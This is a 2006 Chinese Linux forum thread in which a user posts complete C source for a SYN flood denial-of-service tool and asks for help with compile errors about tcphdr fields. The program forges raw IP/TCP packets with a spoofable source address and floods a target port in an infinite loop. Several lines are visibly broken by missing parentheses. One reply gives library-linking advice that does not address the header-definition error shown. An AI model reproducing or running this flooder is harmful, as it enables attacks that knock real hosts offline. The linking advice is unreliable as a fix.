LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 929|回复: 4

有关tcp.h的程序编译问题,编译不成功,急!

[复制链接]
发表于 2006-3-17 20:36:17 | 显示全部楼层 |阅读模式
源代码如下:
#include<errno.h>
#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netdb.h>
#include<unistd.h>
#include<stdlib.h>
#include<netinet/ip.h>
#include<netinet/tcp.h>

unsigned   long   srcport;

/*定义一个伪装地址的结构*/
struct   pseudohdr
{
struct   in_addr   saddr;
struct   in_addr   daddr;
u_char   zero;
u_char   protocol;
u_short   length;
struct   tcphdr   tcpheader;
};

u_short   checksum(u_short   *   data,u_short   length)
{
int   nleft=length;
int   sum=0;
unsigned   short   *w=data;
unsigned   short   value=0;

while(nleft>1){
sum+=*w++;
nleft-=2;
}

if(nleft==1){
*(unsigned   char   *)(&value)=*(unsigned   char   *)w;
sum+=value;
}

sum=(sum>>16)+(sum   &   0xffff);
sum+=(sum>>16);
value=~sum;
return   value;
}

int   main(int   argc   ,char   *   argv[])
{
struct   sockaddr_in   sin;
struct   sockaddr_in   din;
struct   hostent   *   hoste;
struct   hostent   *   host1;
int   j,sock,foo,flooddot=1;
char   buffer[40];
struct   ip*   ipheader=(struct   ip*)   buffer;
struct   tcphdr   *   tcpheader=(struct   tcphdr*)(buffer+sizeof(struct   ip));
struct   pseudohdr   pseudoheader;

  fprintf(stderr,"Syn   attack   against   one   port,(Infinite)\n";
/*判断参数*/
if(argc<4)
{
fprintf(stderr,"usage:%s   \n",argv[0]);
return   -1;
}

fprintf(stderr,"%s:%s   is   being   syn'd   attacked   by   %s.\n",argv[1],argv[2],argv[3]);
bzero(&sin,sizeof(struct   sockaddr_in));   /*write   sizeof   to   &sin*/
sin.sin_family=AF_INET;
if((host1=gethostbyname(argv[3]))!=NULL)
bcopy(host1->h_addr,&din.sin_addr,host1->h_length);
else   if((din.sin_addr.s_addr=inet_addr(argv[3]))==-1)
{
fprintf(stderr,"unknown   source   host   %s\n",argv[3]);
return   -1;
}

if((hoste=gethostbyname(argv[1]))!=NULL)
bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
else   if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
fprintf(stderr,"unknown   destination   host   %s.\n",argv[1]);
return   -1;
}

if((sin.sin_port=htons(atoi(argv[2])))==0)
{
fprintf(stderr,"unknown   port   %s\n",argv[2]);
return   -1;
}

/*以上语句是给sockaddr_in结构赋值,需要指明协议,端口号!*/
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
fprintf(stderr,"couldn't   allocate   raw   socket!\n";
return   -1;
}

foo=1;
/*以下语句是为了重构报头*/
if(setsockopt(sock,0,IP_HDRINCL,(char   *)&foo,sizeof(int))==-1)
{
fprintf(stderr,"couldn't   set   raw   header   on   socket   \n";
return   -1;
}

for(j=1;j>0;j++)
{
bzero(&buffer,sizeof(struct   ip)+sizeof(struct   tcphdr));
ipheader->ip_v=4;
ipheader->ip_tos=0;
ipheader->ip_hl=sizeof(struct   ip)/4;
ipheader->ip_len=sizeof(struct   ip)+sizeof(struct   tcphdr);
ipheader->ip_id=htons(random());
ipheader->ip_ttl=30;   /*255*/
ipheader->ip_p=IPPROTO_TCP;
ipheader->ip_sum=0;
ipheader->ip_src=din.sin_addr;
ipheader->ip_dst=sin.sin_addr;

tcpheader->th_sport=htons(srcport);   /*sin.sin_port*/
tcpheader->th_dport=sin.sin_port;
tcpheader->th_seq=htonl(0x28374839);
tcpheader->th_flags=TH_SYN;
tcpheader->th_off=sizeof(struct   tcphdr)/4;
tcpheader->th_win=htons(204;
tcpheader->th_sum=0;

bzero(&pseudoheader,12+sizeof(struct   tcphdr));
pseudoheader.saddr.s_addr=din.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct   tcphdr));
tcpheader->th_sum=checksum((u_short   *)&pseudoheader,12+sizeof(struct   tcphdr));
/*以上为重构报头*/
/*改变端口*/
srcport=(10000.0*random()/(15000+1.0));
if(sendto(sock,buffer,sizeof(struct   ip)+sizeof(struct   tcphdr),0,(struct   sockaddr   *)   &sin,sizeof(struct   sockaddr_in))==-1)
/*攻击开始*/
{
fprintf(stderr,"couldn't   send   packet   \n",errno);
return   -1;
}

usleep(2);
if(!(flooddot=(flooddot+1)%(1))){
fprintf(stdout,".";
fflush(stdout);
}
/*显示次数,将上面一句改成如下两句,增加显示效果,随便
*   {
* fprintf(stdout,".%4d",j);
* fflush(stdout);
*     }
*     int   k=j;if((K%10)==0)   printf("\n";
*/
}   /*The   end   of   the   infinite   loop   */
close(sock);
return   0;
}
 楼主| 发表于 2006-3-17 20:37:15 | 显示全部楼层
在红帽9中用gcc   pnet.c   -o   pnet   编译,出错信息如下:
p.c:   In   function   `main':
p.c:123:   structure   has   no   member   named   `th_sport'
p.c:124:   structure   has   no   member   named   `th_dport'
p.c:125:   structure   has   no   member   named   `th_seq'
p.c:126:   structure   has   no   member   named   `th_flags'
p.c:126:   `TH_SYN'   undeclared   (first   use   in   this   function)
p.c:126:   (Each   undeclared   identifier   is   reported   only   once
p.c:126:   for   each   function   it   appears   in.)
p.c:127:   structure   has   no   member   named   `th_off'
p.c:128:   structure   has   no   member   named   `th_win'
p.c:129:   structure   has   no   member   named   `th_sum'
p.c:136:   structure   has   no   member   named   `th_sum'
但是这些成员变量我都可以在#include<netinet/tcp.h>中找到啊。请高手指点,非常感谢。
回复 支持 反对

使用道具 举报

发表于 2006-3-17 22:23:47 | 显示全部楼层
# ifdef __FAVOR_BSD
有没有在前面看到这个?
回复 支持 反对

使用道具 举报

 楼主| 发表于 2006-3-18 13:25:09 | 显示全部楼层
在tcp.h这个文件里有这个啊,我不知道怎么解决了,有人说要加载库,可是我又不知道该加载哪一个
回复 支持 反对

使用道具 举报

发表于 2006-3-20 11:20:19 | 显示全部楼层
是要连接库文件,精华区里有篇文章,看看是不是对你有所帮助
3.程序库的链接
  试着编译下面这个程序

  /* temp.c */
  #include <math.h>

  int main(int argc,char **argv)
  {
  double value;
  printf("Valuefn",value);
  }

  这个程序相当简单,但是当我们用 gcc -o temp temp.c 编译时会出现下面所示的错误.
  /tmp/cc33Kydu.o: In function `main':
  /tmp/cc33Kydu.o(.text+0xe): undefined reference to `log'
  collect2: ld returned 1 exit status

  出现这个错误是因为编译器找不到log的具体实现.虽然我们包括了正确的头文件,但是我们在编译的时候还是要连接确定的库.在Linux下,为了使用数学函数,我们必须和数学库连接,为此我们要加入 -lm 选项. gcc -o temp temp.c -lm这样才能够正确的编译.也许有人要问,前面我们用printf函数的时候怎么没有连接库呢?是这样的,对于一些常用的函数的实现,gcc编译器会自动去连接一些常用库,这样我们就没有必要自己去指定了. 有时候我们在编译程序的时候还要指定库的路径,这个时候我们要用到编译器的 -L选项指定路径.比如说我们有一个库在 /home/hoyt/mylib下,这样我们编译的时候还要加上 -L/home/hoyt/mylib.对于一些标准库来说,我们没有必要指出路径.只要它们在起缺省库的路径下就可以了.系统的缺省库的路径/lib /usr/lib /usr/local/lib 在这三个路径下面的库,我们可以不指定路径.
  还有一个问题,有时候我们使用了某个函数,但是我们不知道库的名字,这个时候怎么办呢?很抱歉,对于这个问题我也不知道答案,我只有一个傻办法.首先,我到标准库路径下面去找看看有没有和我用的函数相关的库,我就这样找到了线程(thread)函数的库文件(libpthread.a). 当然,如果找不到,只有一个笨方法.比如我要找sin这个函数所在的库. 就只好用 nm -o /lib/*.so|grep sin>~/sin 命令,然后看~/sin文件,到那里面去找了. 在sin文件当中,我会找到这样的一行libm-2.1.2.so:00009fa0 W sin 这样我就知道了sin在 libm-2.1.2.so库里面,我用 -lm选项就可以了(去掉前面的lib和后面的版本标志,就剩下m了所以是 -lm). 如果你知道怎么找,请赶快告诉我,我回非常感激的.谢谢!
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表